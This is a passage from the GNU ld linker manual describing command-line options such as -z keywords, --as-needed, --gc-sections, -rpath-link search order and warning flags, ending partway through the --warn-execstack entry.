Disable relocation overflow check. This can be used to disable relocation overflow check if there will be no dynamic relocation overflow at run-time. Supported for x86_64.

now
When generating an executable or shared library, mark it to tell the dynamic linker to resolve all symbols when the program is started, or when the shared library is loaded by dlopen, instead of deferring function call resolution to the point when the function is first called.

origin
Specify that the object requires $ORIGIN handling in paths.

pack-relative-relocs

nopack-relative-relocs

Generate compact relative relocation in position-independent executable and shared library. It adds DT_RELR, DT_RELRSZ and DT_RELRENT entries to the dynamic section. It is ignored when building position-dependent executable and relocatable output. nopack-relative-relocs is the default, which disables compact relative relocation. When linked against the GNU C Library, a GLIBC_ABI_DT_RELR symbol version dependency on the shared C Library is added to the output. Supported for i386 and x86-64.

relro

norelro

Create an ELF PT_GNU_RELRO segment header in the object. This specifies a memory segment that should be made read-only after relocation, if supported. Specifying common-page-size smaller than the system page size will render this protection ineffective. Don’t create an ELF PT_GNU_RELRO segment if norelro.

report-relative-reloc
Report dynamic relative relocations generated by linker. Supported for Linux/i386 and Linux/x86_64.

sectionheader

nosectionheader

Generate section header. Don’t generate section header if nosectionheader is used. sectionheader is the default.

separate-code

noseparate-code

Create separate code PT_LOAD segment header in the object. This specifies a memory segment that should contain only instructions and must be in wholly disjoint pages from any other data. Don’t create separate code PT_LOAD segment if noseparate-code is used.

shstk
Generate GNU_PROPERTY_X86_FEATURE_1_SHSTK in .note.gnu.property section to indicate compatibility with Intel Shadow Stack. Supported for Linux/i386 and Linux/x86_64.

stack-size=value
Specify a stack size for an ELF PT_GNU_STACK segment. Specifying zero will override any default non-zero sized PT_GNU_STACK segment creation.

start-stop-gc

nostart-stop-gc

When –gc-sections is in effect, a reference from a retained section to _ _start_SECNAME or _ _stop_SECNAME causes all input sections named SECNAME to also be retained, if SECNAME is representable as a C identifier and either _ _start_SECNAME or _ _stop_SECNAME is synthesized by the linker. -z start-stop-gc disables this effect, allowing sections to be garbage collected as if the special synthesized symbols were not defined. -z start-stop-gc has no effect on a definition of _ _start_SECNAME or _ _stop_SECNAME in an object file or linker script. Such a definition will prevent the linker providing a synthesized _ _start_SECNAME or _ _stop_SECNAME respectively, and therefore the special treatment by garbage collection for those references.

start-stop-visibility=value
Specify the ELF symbol visibility for synthesized _ _start_SECNAME and _ _stop_SECNAME symbols. value must be exactly default, internal, hidden, or protected. If no -z start-stop-visibility option is given, protected is used for compatibility with historical practice. However, it’s highly recommended to use -z start-stop-visibility=hidden in new programs and shared libraries so that these symbols are not exported between shared objects, which is not usually what’s intended.

text

notext

textoff

Report an error if DT_TEXTREL is set, i.e., if the position-independent or shared object has dynamic relocations in read-only sections. Don’t report an error if notext or textoff.

undefs
Do not report unresolved symbol references from regular object files, either when creating an executable, or when creating a shared library. This option is the inverse of -z defs.

unique-symbol

nounique-symbol

Avoid duplicated local symbol names in the symbol string table. Append “.number” to duplicated local symbol names if unique-symbol is used. nounique-symbol is the default.

x86-64-baseline

x86-64-v2

x86-64-v3

x86-64-v4

Specify the x86-64 ISA level needed in .note.gnu.property section. x86-64-baseline generates GNU_PROPERTY_X86_ISA_1_BASELINE. x86-64-v2 generates GNU_PROPERTY_X86_ISA_1_V2. x86-64-v3 generates GNU_PROPERTY_X86_ISA_1_V3. x86-64-v4 generates GNU_PROPERTY_X86_ISA_1_V4. Supported for Linux/i386 and Linux/x86_64.

isa-level-report=none

isa-level-report=all

isa-level-report=needed

isa-level-report=used

Specify how to report x86-64 ISA levels in input relocatable files. isa-level-report=none, which is the default, will make the linker not report x86-64 ISA levels in input files. isa-level-report=all will make the linker report needed and used x86-64 ISA levels in input files. isa-level-report=needed will make the linker report needed x86-64 ISA levels in input files. isa-level-report=used will make the linker report used x86-64 ISA levels in input files. Supported for Linux/i386 and Linux/x86_64.

Other keywords are ignored for Solaris compatibility.

-( archives -)

–start-group archives –end-group

The archives should be a list of archive files. They may be either explicit file names, or -l options. The specified archives are searched repeatedly until no new undefined references are created. Normally, an archive is searched only once in the order that it is specified on the command line. If a symbol in that archive is needed to resolve an undefined symbol referred to by an object in an archive that appears later on the command line, the linker would not be able to resolve that reference. By grouping the archives, they will all be searched repeatedly until all possible references are resolved. Using this option has a significant performance cost. It is best to use it only when there are unavoidable circular references between two or more archives.

–accept-unknown-input-arch

–no-accept-unknown-input-arch

Tells the linker to accept input files whose architecture cannot be recognised. The assumption is that the user knows what they are doing and deliberately wants to link in these unknown input files. This was the default behaviour of the linker, before release 2.14. The default behaviour from release 2.14 onwards is to reject such input files, and so the –accept-unknown-input-arch option has been added to restore the old behaviour.

–as-needed

–no-as-needed

This option affects ELF DT_NEEDED tags for dynamic libraries mentioned on the command line after the –as-needed option. Normally the linker will add a DT_NEEDED tag for each dynamic library mentioned on the command line, regardless of whether the library is actually needed or not. –as-needed causes a DT_NEEDED tag to only be emitted for a library that at that point in the link satisfies a non-weak undefined symbol reference from a regular object file or, if the library is not found in the DT_NEEDED lists of other needed libraries, a non-weak undefined symbol reference from another needed dynamic library. Object files or libraries appearing on the command line after the library in question do not affect whether the library is seen as needed. This is similar to the rules for extraction of object files from archives. –no-as-needed restores the default behaviour. Note: On Linux based systems the –as-needed option also has an affect on the behaviour of the –rpath and –rpath-link options. See the description of –rpath-link for more details.

–add-needed

–no-add-needed

These two options have been deprecated because of the similarity of their names to the –as-needed and –no-as-needed options. They have been replaced by –copy-dt-needed-entries and –no-copy-dt-needed-entries.

-assert keyword
This option is ignored for SunOS compatibility.

-Bdynamic

-dy

-call_shared

Link against dynamic libraries. This is only meaningful on platforms for which shared libraries are supported. This option is normally the default on such platforms. The different variants of this option are for compatibility with various systems. You may use this option multiple times on the command line: it affects library searching for -l options which follow it.

-Bgroup
Set the DF_1_GROUP flag in the DT_FLAGS_1 entry in the dynamic section. This causes the runtime linker to handle lookups in this object and its dependencies to be performed only inside the group. –unresolved-symbols=report-all is implied. This option is only meaningful on ELF platforms which support shared libraries.

-Bstatic

-dn

-non_shared

-static

Do not link against shared libraries. This is only meaningful on platforms for which shared libraries are supported. The different variants of this option are for compatibility with various systems. You may use this option multiple times on the command line: it affects library searching for -l options which follow it. This option also implies –unresolved-symbols=report-all. This option can be used with -shared. Doing so means that a shared library is being created but that all of the library’s external references must be resolved by pulling in entries from static libraries.

-Bsymbolic
When creating a shared library, bind references to global symbols to the definition within the shared library, if any. Normally, it is possible for a program linked against a shared library to override the definition within the shared library. This option is only meaningful on ELF platforms which support shared libraries.

-Bsymbolic-functions
When creating a shared library, bind references to global function symbols to the definition within the shared library, if any. This option is only meaningful on ELF platforms which support shared libraries.

-Bno-symbolic
This option can cancel previously specified -Bsymbolic and -Bsymbolic-functions.

–dynamic-list=dynamic-list-file
Specify the name of a dynamic list file to the linker. This is typically used when creating shared libraries to specify a list of global symbols whose references shouldn’t be bound to the definition within the shared library, or creating dynamically linked executables to specify a list of symbols which should be added to the symbol table in the executable. This option is only meaningful on ELF platforms which support shared libraries. The format of the dynamic list is the same as the version node without scope and node name. See VERSION for more information.

–dynamic-list-data
Include all global data symbols to the dynamic list.

–dynamic-list-cpp-new
Provide the builtin dynamic list for C++ operator new and delete. It is mainly useful for building shared libstdc++.

–dynamic-list-cpp-typeinfo
Provide the builtin dynamic list for C++ runtime type identification.

–check-sections

–no-check-sections

Asks the linker not to check section addresses after they have been assigned to see if there are any overlaps. Normally the linker will perform this check, and if it finds any overlaps it will produce suitable error messages. The linker does know about, and does make allowances for sections in overlays. The default behaviour can be restored by using the command-line switch –check-sections. Section overlap is not usually checked for relocatable links. You can force checking in that case by using the –check-sections option.

–copy-dt-needed-entries

–no-copy-dt-needed-entries

This option affects the treatment of dynamic libraries referred to by DT_NEEDED tags inside ELF dynamic libraries mentioned on the command line. Normally the linker won’t add a DT_NEEDED tag to the output binary for each library mentioned in a DT_NEEDED tag in an input dynamic library. With –copy-dt-needed-entries specified on the command line however any dynamic libraries that follow it will have their DT_NEEDED entries added. The default behaviour can be restored with –no-copy-dt-needed-entries. This option also has an effect on the resolution of symbols in dynamic libraries. With –copy-dt-needed-entries dynamic libraries mentioned on the command line will be recursively searched, following their DT_NEEDED tags to other libraries, in order to resolve symbols required by the output binary. With the default setting however the searching of dynamic libraries that follow it will stop with the dynamic library itself. No DT_NEEDED links will be traversed to resolve symbols.

–cref
Output a cross reference table. If a linker map file is being generated, the cross reference table is printed to the map file. Otherwise, it is printed on the standard output. The format of the table is intentionally simple, so that it may be easily processed by a script if necessary. The symbols are printed out, sorted by name. For each symbol, a list of file names is given. If the symbol is defined, the first file listed is the location of the definition. If the symbol is defined as a common value then any files where this happens appear next. Finally any files that reference the symbol are listed.

–ctf-variables

–no-ctf-variables

The CTF debuginfo format supports a section which encodes the names and types of variables found in the program which do not appear in any symbol table. These variables clearly cannot be looked up by address by conventional debuggers, so the space used for their types and names is usually wasted: the types are usually small but the names are often not. –ctf-variables causes the generation of such a section. The default behaviour can be restored with –no-ctf-variables.

–ctf-share-types=method
Adjust the method used to share types between translation units in CTF.

share-unconflicted
Put all types that do not have ambiguous definitions into the shared dictionary, where debuggers can easily access them, even if they only occur in one translation unit. This is the default.

share-duplicated
Put only types that occur in multiple translation units into the shared dictionary: types with only one definition go into per-translation-unit dictionaries. Types with ambiguous definitions in multiple translation units always go into per-translation-unit dictionaries. This tends to make the CTF larger, but may reduce the amount of CTF in the shared dictionary. For very large projects this may speed up opening the CTF and save memory in the CTF consumer at runtime.

–no-define-common
This option inhibits the assignment of addresses to common symbols. The script command INHIBIT_COMMON_ALLOCATION has the same effect. The –no-define-common option allows decoupling the decision to assign addresses to Common symbols from the choice of the output file type; otherwise a non-Relocatable output type forces assigning addresses to Common symbols. Using –no-define-common allows Common symbols that are referenced from a shared library to be assigned addresses only in the main program. This eliminates the unused duplicate space in the shared library, and also prevents any possible confusion over resolving to the wrong duplicate when there are many dynamic modules with specialized search paths for runtime symbol resolution.

–force-group-allocation
This option causes the linker to place section group members like normal input sections, and to delete the section groups. This is the default behaviour for a final link but this option can be used to change the behaviour of a relocatable link (-r). The script command FORCE_GROUP_ALLOCATION has the same effect.

–defsym=symbol=expression
Create a global symbol in the output file, containing the absolute address given by expression. You may use this option as many times as necessary to define multiple symbols in the command line. A limited form of arithmetic is supported for the expression in this context: you may give a hexadecimal constant or the name of an existing symbol, or use + and - to add or subtract hexadecimal constants or symbols. If you need more elaborate expressions, consider using the linker command language from a script. Note: there should be no white space between symbol, the equals sign ("="), and expression. The linker processes –defsym arguments and -T arguments in order, placing –defsym before -T will define the symbol before the linker script from -T is processed, while placing –defsym after -T will define the symbol after the linker script has been processed. This difference has consequences for expressions within the linker script that use the –defsym symbols, which order is correct will depend on what you are trying to achieve.

–demangle[=style]

–no-demangle

These options control whether to demangle symbol names in error messages and other output. When the linker is told to demangle, it tries to present symbol names in a readable fashion: it strips leading underscores if they are used by the object file format, and converts C++ mangled symbol names into user readable names. Different compilers have different mangling styles. The optional demangling style argument can be used to choose an appropriate demangling style for your compiler. The linker will demangle by default unless the environment variable COLLECT_NO_DEMANGLE is set. These options may be used to override the default.

-Ifile

–dynamic-linker=file

Set the name of the dynamic linker. This is only meaningful when generating dynamically linked ELF executables. The default dynamic linker is normally correct; don’t use this unless you know what you are doing.

–no-dynamic-linker
When producing an executable file, omit the request for a dynamic linker to be used at load-time. This is only meaningful for ELF executables that contain dynamic relocations, and usually requires entry point code that is capable of processing these relocations.

–embedded-relocs
This option is similar to the –emit-relocs option except that the relocs are stored in a target-specific section. This option is only supported by the BFIN, CR16 and M68K targets.

–disable-multiple-abs-defs
Do not allow multiple definitions with symbols included in filename invoked by -R or –just-symbols

–fatal-warnings

–no-fatal-warnings

Treat all warnings as errors. The default behaviour can be restored with the option –no-fatal-warnings.

-w

–no-warnings

Do not display any warning or error messages. This overrides –fatal-warnings if it has been enabled. This option can be used when it is known that the output binary will not work, but there is still a need to create it.

–force-exe-suffix
Make sure that an output file has a .exe suffix. If a successfully built fully linked output file does not have a .exe or .dll suffix, this option forces the linker to copy the output file to one of the same name with a .exe suffix. This option is useful when using unmodified Unix makefiles on a Microsoft Windows host, since some versions of Windows won’t run an image unless it ends in a .exe suffix.

–gc-sections

–no-gc-sections

Enable garbage collection of unused input sections. It is ignored on targets that do not support this option. The default behaviour (of not performing this garbage collection) can be restored by specifying –no-gc-sections on the command line. Note that garbage collection for COFF and PE format targets is supported, but the implementation is currently considered to be experimental. –gc-sections decides which input sections are used by examining symbols and relocations. The section containing the entry symbol and all sections containing symbols undefined on the command-line will be kept, as will sections containing symbols referenced by dynamic objects. Note that when building shared libraries, the linker must assume that any visible symbol is referenced. Once this initial set of sections has been determined, the linker recursively marks as used any section referenced by their relocations. See –entry, –undefined, and –gc-keep-exported. This option can be set when doing a partial link (enabled with option -r). In this case the root of symbols kept must be explicitly specified either by one of the options –entry, –undefined, or –gc-keep-exported or by a ENTRY command in the linker script. As a GNU extension, ELF input sections marked with the SHF_GNU_RETAIN flag will not be garbage collected.

–print-gc-sections

–no-print-gc-sections

List all sections removed by garbage collection. The listing is printed on stderr. This option is only effective if garbage collection has been enabled via the –gc-sections) option. The default behaviour (of not listing the sections that are removed) can be restored by specifying –no-print-gc-sections on the command line.

–gc-keep-exported
When –gc-sections is enabled, this option prevents garbage collection of unused input sections that contain global symbols having default or protected visibility. This option is intended to be used for executables where unreferenced sections would otherwise be garbage collected regardless of the external visibility of contained symbols. Note that this option has no effect when linking shared objects since it is already the default behaviour. This option is only supported for ELF format targets.

–print-output-format
Print the name of the default output format (perhaps influenced by other command-line options). This is the string that would appear in an OUTPUT_FORMAT linker script command.

–print-memory-usage
Print used size, total size and used size of memory regions created with the MEMORY command. This is useful on embedded targets to have a quick view of amount of free memory. The format of the output has one headline and one line per region. It is both human readable and easily parsable by tools. Here is an example of an output: Memory region Used Size Region Size %age Used ROM: 256 KB 1 MB 25.00% RAM: 32 B 2 GB 0.00%

–help
Print a summary of the command-line options on the standard output and exit.

–target-help
Print a summary of all target-specific options on the standard output and exit.

-Map=mapfile
Print a link map to the file mapfile. See the description of the -M option, above. If mapfile is just the character - then the map will be written to stdout. Specifying a directory as mapfile causes the linker map to be written as a file inside the directory. Normally name of the file inside the directory is computed as the basename of the output file with .map appended. If however the special character % is used then this will be replaced by the full path of the output file. Additionally if there are any characters after the % symbol then .map will no longer be appended. -o foo.exe -Map=bar [Creates ./bar] -o ../dir/foo.exe -Map=bar [Creates ./bar] -o foo.exe -Map=../dir [Creates ../dir/foo.exe.map] -o ../dir2/foo.exe -Map=../dir [Creates ../dir/foo.exe.map] -o foo.exe -Map=% [Creates ./foo.exe.map] -o ../dir/foo.exe -Map=% [Creates ../dir/foo.exe.map] -o foo.exe -Map=%.bar [Creates ./foo.exe.bar] -o ../dir/foo.exe -Map=%.bar [Creates ../dir/foo.exe.bar] -o ../dir2/foo.exe -Map=../dir/% [Creates ../dir/../dir2/foo.exe.map] -o ../dir2/foo.exe -Map=../dir/%.bar [Creates ../dir/../dir2/foo.exe.bar] It is an error to specify more than one % character. If the map file already exists then it will be overwritten by this operation.

–no-keep-memory
ld normally optimizes for speed over memory usage by caching the symbol tables of input files in memory. This option tells ld to instead optimize for memory usage, by rereading the symbol tables as necessary. This may be required if ld runs out of memory space while linking a large executable.

–no-undefined

-z defs

Report unresolved symbol references from regular object files. This is done even if the linker is creating a non-symbolic shared library. The switch –[no-]allow-shlib-undefined controls the behaviour for reporting unresolved references found in shared libraries being linked in. The effects of this option can be reverted by using -z undefs.

–allow-multiple-definition

-z muldefs

Normally when a symbol is defined multiple times, the linker will report a fatal error. These options allow multiple definitions and the first definition will be used.

–allow-shlib-undefined

–no-allow-shlib-undefined

Allows or disallows undefined symbols in shared libraries. This switch is similar to –no-undefined except that it determines the behaviour when the undefined symbols are in a shared library rather than a regular object file. It does not affect how undefined symbols in regular object files are handled. The default behaviour is to report errors for any undefined symbols referenced in shared libraries if the linker is being used to create an executable, but to allow them if the linker is being used to create a shared library. The reasons for allowing undefined symbol references in shared libraries specified at link time are that:

  • A shared library specified at link time may not be the same as the one that is available at load time, so the symbol might actually be resolvable at load time.

  • There are some operating systems, eg BeOS and HPPA, where undefined symbols in shared libraries are normal. The BeOS kernel for example patches shared libraries at load time to select whichever function is most appropriate for the current architecture. This is used, for example, to dynamically select an appropriate memset function.

–error-handling-script=scriptname
If this option is provided then the linker will invoke scriptname whenever an error is encountered. Currently however only two kinds of error are supported: missing symbols and missing libraries. Two arguments will be passed to script: the keyword “undefined-symbol” or `missing-lib" and the name of the undefined symbol or missing library. The intention is that the script will provide suggestions to the user as to where the symbol or library might be found. After the script has finished then the normal linker error message will be displayed. The availability of this option is controlled by a configure time switch, so it may not be present in specific implementations.

–no-undefined-version
Normally when a symbol has an undefined version, the linker will ignore it. This option disallows symbols with undefined version and a fatal error will be issued instead.

–default-symver
Create and use a default symbol version (the soname) for unversioned exported symbols.

–default-imported-symver
Create and use a default symbol version (the soname) for unversioned imported symbols.

–no-warn-mismatch
Normally ld will give an error if you try to link together input files that are mismatched for some reason, perhaps because they have been compiled for different processors or for different endiannesses. This option tells ld that it should silently permit such possible errors. This option should only be used with care, in cases when you have taken some special action that ensures that the linker errors are inappropriate.

–no-warn-search-mismatch
Normally ld will give a warning if it finds an incompatible library during a library search. This option silences the warning.

–no-whole-archive
Turn off the effect of the –whole-archive option for subsequent archive files.

–noinhibit-exec
Retain the executable output file whenever it is still usable. Normally, the linker will not produce an output file if it encounters errors during the link process; it exits without writing an output file when it issues any error whatsoever.

-nostdlib
Only search library directories explicitly specified on the command line. Library directories specified in linker scripts (including linker scripts specified on the command line) are ignored.

–oformat=output-format
ld may be configured to support more than one kind of object file. If your ld is configured this way, you can use the –oformat option to specify the binary format for the output object file. Even when ld is configured to support alternative object formats, you don’t usually need to specify this, as ld should be configured to produce as a default output format the most usual format on each machine. output-format is a text string, the name of a particular format supported by the BFD libraries. (You can list the available binary formats with objdump -i.) The script command OUTPUT_FORMAT can also specify the output format, but this option overrides it.

–out-implib file
Create an import library in file corresponding to the executable the linker is generating (eg. a DLL or ELF program). This import library (which should be called *.dll.a or *.a for DLLs) may be used to link clients against the generated executable; this behaviour makes it possible to skip a separate import library creation step (eg. dlltool for DLLs). This option is only available for the i386 PE and ELF targeted ports of the linker.

-pie

–pic-executable

Create a position independent executable. This is currently only supported on ELF platforms. Position independent executables are relocated by the dynamic linker to the virtual address the OS chooses for them, which can vary between invocations. They are marked ET_DYN in the ELF file header, but differ from shared libraries in a number of ways. In particular, defined symbols in a PIE by default can not be overridden by another object as they can be in a shared library.

-no-pie
Create a position dependent executable. This is the default.

-qmagic
This option is ignored for Linux compatibility.

-Qy
This option is ignored for SVR4 compatibility.

–relax

–no-relax

An option with machine dependent effects. This option is only supported on a few targets. On some platforms the –relax option performs target specific, global optimizations that become possible when the linker resolves addressing in the program, such as relaxing address modes, synthesizing new instructions, selecting shorter version of current instructions, and combining constant values. On some platforms these link time global optimizations may make symbolic debugging of the resulting executable impossible. This is known to be the case for the Matsushita MN10200 and MN10300 family of processors. On platforms where the feature is supported, the option –no-relax will disable it. On platforms where the feature is not supported, both –relax and –no-relax are accepted, but ignored.

–retain-symbols-file=filename
Retain only the symbols listed in the file filename, discarding all others. filename is simply a flat file, with one symbol name per line. This option is especially useful in environments (such as VxWorks) where a large global symbol table is accumulated gradually, to conserve run-time memory. –retain-symbols-file does not discard undefined symbols, or symbols needed for relocations. You may only specify –retain-symbols-file once in the command line. It overrides -s and -S.

-rpath=dir
Add a directory to the runtime library search path. This is used when linking an ELF executable with shared objects. All -rpath arguments are concatenated and passed to the runtime linker, which uses them to locate shared objects at runtime. The -rpath option is also used when locating shared objects which are needed by shared objects explicitly included in the link; see the description of the -rpath-link option. Searching -rpath in this way is only supported by native linkers and cross linkers which have been configured with the –with-sysroot option. If -rpath is not used when linking an ELF executable, the contents of the environment variable LD_RUN_PATH will be used if it is defined. The -rpath option may also be used on SunOS. By default, on SunOS, the linker will form a runtime search path out of all the -L options it is given. If a -rpath option is used, the runtime search path will be formed exclusively using the -rpath options, ignoring the -L options. This can be useful when using gcc, which adds many -L options which may be on NFS mounted file systems. For compatibility with other ELF linkers, if the -R option is followed by a directory name, rather than a file name, it is treated as the -rpath option.

-rpath-link=dir
When using ELF or SunOS, one shared library may require another. This happens when an ld -shared link includes a shared library as one of the input files. When the linker encounters such a dependency when doing a non-shared, non-relocatable link, it will automatically try to locate the required shared library and include it in the link, if it is not included explicitly. In such a case, several directories are searched as described below. The -rpath-link option specifies the first set of directories to search. This option may specify a sequence of directory names either by providing a list of names separated by colons, or by appearing multiple times. The tokens $ORIGIN and $LIB can appear in these search directories. They will be replaced by the full path to the directory containing the program or shared object in the case of $ORIGIN and either lib - for 32-bit binaries - or lib64 - for 64-bit binaries - in the case of $LIB. The alternative form of these tokens - ${ORIGIN} and ${LIB} can also be used. The token $PLATFORM is not supported. The –rpath-link option should be used with caution as it overrides the search path that may have been hard compiled into a shared library. In such a case it is possible to unintentionally use a different search path than the runtime linker would have used. When additional shared libraries are required, the linker will search directories in the order listed below in order to find them. Note however that this only applies to additional libraries needed to satisfy already included shared libraries. It does not apply to libraries that are included via the -l command line option. Searches for -l libraries are only conducted in directories specified by the -L option.

  1. Any directories specified by -rpath-link options.

  2. Any directories specified by -rpath options. The difference between -rpath and -rpath-link is that directories specified by -rpath options are included in the executable and used at runtime, whereas the -rpath-link option is only effective at link time. Searching -rpath in this way is only supported by native linkers and cross linkers which have been configured with the –with-sysroot option.

  3. On an ELF system, for native linkers, if the -rpath and -rpath-link options were not used, search the contents of the environment variable LD_RUN_PATH.

  4. On SunOS, if the -rpath option was not used, search any directories specified using -L options.

  5. For a native linker, search the contents of the environment variable LD_LIBRARY_PATH.

  6. For a native ELF linker, the directories in DT_RUNPATH or DT_RPATH of a shared library are searched for shared libraries needed by it. The DT_RPATH entries are ignored if DT_RUNPATH entries exist.

  7. For a linker for a Linux system, if the file /etc/ld.so.conf exists, the list of directories found in that file. Note: the path to this file is prefixed with the sysroot value, if that is defined, and then any prefix string if the linker was configured with the –prefix=<path> option.

  8. For a native linker on a FreeBSD system, any directories specified by the _PATH_ELF_HINTS macro defined in the elf-hints.h header file.

  9. Any directories specified by a SEARCH_DIR command in a linker script given on the command line, including scripts specified by -T (but not -dT).

  10. The default directories, normally /lib and /usr/lib.

  11. Any directories specified by a plugin LDPT_SET_EXTRA_LIBRARY_PATH.

  12. Any directories specified by a SEARCH_DIR command in a default linker script.

Note however on Linux based systems there is an additional caveat: If the –as-needed option is active and a shared library is located which would normally satisfy the search and this library does not have DT_NEEDED tag for libc.so and there is a shared library later on in the set of search directories which also satisfies the search and this second shared library does have a DT_NEEDED tag for libc.so then the second library will be selected instead of the first. If the required shared library is not found, the linker will issue a warning and continue with the link.

–section-ordering-file=script
This option is used to augment the current linker script with additional mapping of input sections to output sections. This file must use the same syntax for SECTIONS as is used in normal linker scripts, but it should not do anything other than place input sections into output sections. @pxref{SECTIONS} A second constraint on the section ordering script is that it can only reference output sections that are already defined by whichever linker script is currently in use. (Ie the default linker script or a script specified on the command line). The benefit of the section ordering script however is that the input sections are mapped to the start of the output sections, so that they can ensure the ordering of sections in the output section. For example, imagine that the default linker script looks like this: SECTIONS { .text : { *(.text.hot) ; *(.text .text.*) } .data : { *(.data.big) ; *(.data .data.*) } } Then if a section ordering file like this is used: .text : { *(.text.first) ; *(.text.z*) } .data : { foo.o(.data.first) ; *(.data.small) } This would be equivalent to a linker script like this: SECTIONS { .text : { *(.text.first) ; *(.text.z*) ; *(.text.hot) ; *(.text .text.*) } .data : { foo.o(.data.first) ; *(.data.small) ; *(.data.big) ; *(.data .data.*) } } The advantage of the section ordering file is that it can be used to order those sections that matter to the user without having to worry about any other sections, or memory regions, or anything else.

-shared

-Bshareable

Create a shared library. This is currently only supported on ELF, XCOFF and SunOS platforms. On SunOS, the linker will automatically create a shared library if the -e option is not used and there are undefined symbols in the link.

–sort-common

–sort-common=ascending

–sort-common=descending

This option tells ld to sort the common symbols by alignment in ascending or descending order when it places them in the appropriate output sections. The symbol alignments considered are sixteen-byte or larger, eight-byte, four-byte, two-byte, and one-byte. This is to prevent gaps between symbols due to alignment constraints. If no sorting order is specified, then descending order is assumed.

–sort-section=name
This option will apply SORT_BY_NAME to all wildcard section patterns in the linker script.

–sort-section=alignment
This option will apply SORT_BY_ALIGNMENT to all wildcard section patterns in the linker script.

–spare-dynamic-tags=count
This option specifies the number of empty slots to leave in the .dynamic section of ELF shared objects. Empty slots may be needed by post processing tools, such as the prelinker. The default is 5.

–split-by-file[=size]
Similar to –split-by-reloc but creates a new output section for each input file when size is reached. size defaults to a size of 1 if not given.

–split-by-reloc[=count]
Tries to creates extra sections in the output file so that no single output section in the file contains more than count relocations. This is useful when generating huge relocatable files for downloading into certain real time kernels with the COFF object file format; since COFF cannot represent more than 65535 relocations in a single section. Note that this will fail to work with object file formats which do not support arbitrary sections. The linker will not split up individual input sections for redistribution, so if a single input section contains more than count relocations one output section will contain that many relocations. count defaults to a value of 32768.

–stats
Compute and display statistics about the operation of the linker, such as execution time and memory usage.

–sysroot=directory
Use directory as the location of the sysroot, overriding the configure-time default. This option is only supported by linkers that were configured using –with-sysroot.

–task-link
This is used by COFF/PE based targets to create a task-linked object file where all of the global symbols have been converted to statics.

–traditional-format
For some targets, the output of ld is different in some ways from the output of some existing linker. This switch requests ld to use the traditional format instead. For example, on SunOS, ld combines duplicate entries in the symbol string table. This can reduce the size of an output file with full debugging information by over 30 percent. Unfortunately, the SunOS dbx program can not read the resulting program (gdb has no trouble). The –traditional-format switch tells ld to not combine duplicate entries.

–section-start=sectionname=org
Locate a section in the output file at the absolute address given by org. You may use this option as many times as necessary to locate multiple sections in the command line. org must be a single hexadecimal integer; for compatibility with other linkers, you may omit the leading 0x usually associated with hexadecimal values. Note: there should be no white space between sectionname, the equals sign ("="), and org.

-Tbss=org

-Tdata=org

-Ttext=org

Same as –section-start, with .bss, .data or .text as the sectionname.

-Ttext-segment=org
When creating an ELF executable, it will set the address of the first byte of the text segment. Note that when -pie is used with **-Ttext-segment=**org, the output executable is marked ET_EXEC so that the address of the first byte of the text segment will be guaranteed to be org at run time.

-Trodata-segment=org
When creating an ELF executable or shared object for a target where the read-only data is in its own segment separate from the executable text, it will set the address of the first byte of the read-only data segment.

-Tldata-segment=org
When creating an ELF executable or shared object for x86-64 medium memory model, it will set the address of the first byte of the ldata segment.

–unresolved-symbols=method
Determine how to handle unresolved symbols. There are four possible values for method:

ignore-all
Do not report any unresolved symbols.

report-all
Report all unresolved symbols. This is the default.

ignore-in-object-files
Report unresolved symbols that are contained in shared libraries, but ignore them if they come from regular object files.

ignore-in-shared-libs
Report unresolved symbols that come from regular object files, but ignore them if they come from shared libraries. This can be useful when creating a dynamic binary and it is known that all the shared libraries that it should be referencing are included on the linker’s command line.

The behaviour for shared libraries on their own can also be controlled by the –[no-]allow-shlib-undefined option. Normally the linker will generate an error message for each reported unresolved symbol but the option –warn-unresolved-symbols can change this to a warning.

–dll-verbose

–verbose[=NUMBER]

Display the version number for ld and list the linker emulations supported. Display which input files can and cannot be opened. Display the linker script being used by the linker. If the optional NUMBER argument > 1, plugin symbol status will also be displayed.

–version-script=version-scriptfile
Specify the name of a version script to the linker. This is typically used when creating shared libraries to specify additional information about the version hierarchy for the library being created. This option is only fully supported on ELF platforms which support shared libraries; see VERSION. It is partially supported on PE platforms, which can use version scripts to filter symbol visibility in auto-export mode: any symbols marked local in the version script will not be exported.

–warn-common
Warn when a common symbol is combined with another common symbol or with a symbol definition. Unix linkers allow this somewhat sloppy practice, but linkers on some other operating systems do not. This option allows you to find potential problems from combining global symbols. Unfortunately, some C libraries use this practice, so you may get some warnings about symbols in the libraries as well as in your programs. There are three kinds of global symbols, illustrated here by C examples:

int i = 1;
A definition, which goes in the initialized data section of the output file.

extern int i;
An undefined reference, which does not allocate space. There must be either a definition or a common symbol for the variable somewhere.

int i;
A common symbol. If there are only (one or more) common symbols for a variable, it goes in the uninitialized data area of the output file. The linker merges multiple common symbols for the same variable into a single symbol. If they are of different sizes, it picks the largest size. The linker turns a common symbol into a declaration, if there is a definition of the same variable.

The –warn-common option can produce five kinds of warnings. Each warning consists of a pair of lines: the first describes the symbol just encountered, and the second describes the previous symbol encountered with the same name. One or both of the two symbols will be a common symbol.

  1. Turning a common symbol into a reference, because there is already a definition for the symbol. <file>(<section>): warning: common of `<symbol> overridden by definition <file>(<section>): warning: defined here

  2. Turning a common symbol into a reference, because a later definition for the symbol is encountered. This is the same as the previous case, except that the symbols are encountered in a different order. <file>(<section>): warning: definition of `<symbol> overriding common <file>(<section>): warning: common is here

  3. Merging a common symbol with a previous same-sized common symbol. <file>(<section>): warning: multiple common of `<symbol> <file>(<section>): warning: previous common is here

  4. Merging a common symbol with a previous larger common symbol. <file>(<section>): warning: common of `<symbol> overridden by larger common <file>(<section>): warning: larger common is here

  5. Merging a common symbol with a previous smaller common symbol. This is the same as the previous case, except that the symbols are encountered in a different order. <file>(<section>): warning: common of `<symbol> overriding smaller common <file>(<section>): warning: smaller common is here

–warn-constructors
Warn if any global constructors are used. This is only useful for a few object file formats. For formats like COFF or ELF, the linker can not detect the use of global constructors.

–warn-execstack

–warn-execstack-objects

–no-warn-execstack

On ELF platforms the linker may generate warning messages if it is asked to create an output file that contains an executable stack. There are three possible states:

  1. Do not generate any warnings.

  2. Always generate warnings, even if the executable stack is requested via the -z execstack command line option.

  3. Only generate a warning if an object file requests an executable stack, but not if the -z execstack option is used.

